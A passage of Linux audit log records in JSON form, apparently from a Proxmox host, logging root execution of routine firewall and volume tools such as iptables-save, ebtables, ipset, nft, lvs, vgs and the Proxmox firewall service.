pid=60344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255388,"@rawstring":"node=pve type=PATH msg=audit(1781966255.388:69094): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.269:66149): proctitle=\"iptables-save\""} {"@timestamp":1781964845481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.481:62890): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd17d29ef0 a1=5f84606a8310 a2=5f84606a1680 a3=5 items=2 ppid=60342 pid=60343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255383,"@rawstring":"node=pve type=PATH msg=audit(1781966255.383:69093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.263:66148): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.478:62888): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255383,"@rawstring":"node=pve type=PATH msg=audit(1781966255.383:69093): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565258,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.258:66147): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964845471,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.471:62887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255378,"@rawstring":"node=pve type=PATH msg=audit(1781966255.378:69092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.257:66146): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.465:62886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255378,"@rawstring":"node=pve type=PATH msg=audit(1781966255.378:69092): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565256,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.256:66145): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.458:62885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255371,"@rawstring":"node=pve type=PATH msg=audit(1781966255.371:69091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.250:66144): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.452:62884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255371,"@rawstring":"node=pve type=PATH msg=audit(1781966255.371:69091): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.242:66143): proctitle=\"ip6tables-save\""} {"@timestamp":1781964845450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.450:62883): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=632f92a0e740 items=0 ppid=1156 pid=60337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966255365,"@rawstring":"node=pve type=PATH msg=audit(1781966255.365:69090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.230:66142): proctitle=\"iptables-save\""} {"@timestamp":1781964845447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.447:62882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0dea90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255365,"@rawstring":"node=pve type=PATH msg=audit(1781966255.365:69090): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.223:66141): proctitle=69707365740073617665"} {"@timestamp":1781964845443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.443:62881): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135de0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255360,"@rawstring":"node=pve type=PATH msg=audit(1781966255.360:69089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.214:66140): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964845438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.438:62880): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e42b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255360,"@rawstring":"node=pve type=PATH msg=audit(1781966255.360:69089): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.201:66139): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964845432,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.432:62879): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255355,"@rawstring":"node=pve type=PATH msg=audit(1781966255.355:69088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965564999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965564.999:66138): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964845426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.426:62878): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e42b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255355,"@rawstring":"node=pve type=PATH msg=audit(1781966255.355:69088): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965564953,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965564.953:66137): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964845421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.421:62877): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254928,"@rawstring":"node=pve type=PATH msg=audit(1781966254.928:69087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.475:66136): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.415:62876): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254928,"@rawstring":"node=pve type=PATH msg=audit(1781966254.928:69087): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.475:66135): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.409:62875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254890,"@rawstring":"node=pve type=PATH msg=audit(1781966254.890:69086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.475:66134): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.405:62874): arch=c000003e syscall=59 success=yes exit=0 a0=57f665d32d30 a1=57f665d3ef40 a2=57f665d0c680 a3=5 items=2 ppid=60323 pid=60329 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254890,"@rawstring":"node=pve type=PATH msg=audit(1781966254.890:69086): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.465:66133): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.402:62873): arch=c000003e syscall=59 success=yes exit=0 a0=57f6598c4ac8 a1=7ffe0ef58660 a2=57f665d0c680 a3=57f6598a824e items=2 ppid=60323 pid=60325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PATH msg=audit(1781966250.950:69085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.465:66132): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.402:62872): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe0ef58620 a1=57f665d2e3d0 a2=57f665d0c680 a3=5 items=2 ppid=60323 pid=60324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PATH msg=audit(1781966250.950:69085): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965563465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965563.465:66131): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845398,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.398:62870): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PATH msg=audit(1781966250.950:69084): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.456:66130): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.392:62869): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PATH msg=audit(1781966250.950:69083): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.456:66129): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.386:62868): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PATH msg=audit(1781966250.944:69082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.455:66128): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.382:62867): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PATH msg=audit(1781966250.944:69082): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.439:66127): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.376:62866): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PATH msg=audit(1781966250.944:69081): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.439:66126): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.370:62865): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e66f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PATH msg=audit(1781966250.944:69080): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965558.439:66125): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964844412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964844.412:62864): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a641e0 a1=64f8d73df000 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PATH msg=audit(1781966245.936:69079): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.189:66124): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964844387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964844.387:62863): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db8b0 a1=64f8d73c3ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PATH msg=audit(1781966245.936:69079): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.184:66123): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.848:62862): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PATH msg=audit(1781966245.936:69078): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.184:66122): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964840.841:62859): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245936,"@rawstring":"node=pve type=PATH msg=audit(1781966245.936:69077): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.184:66121): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.834:62856): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PATH msg=audit(1781966245.930:69076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.179:66120): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.820:62853): arch=c000003e syscall=59 success=yes exit=0 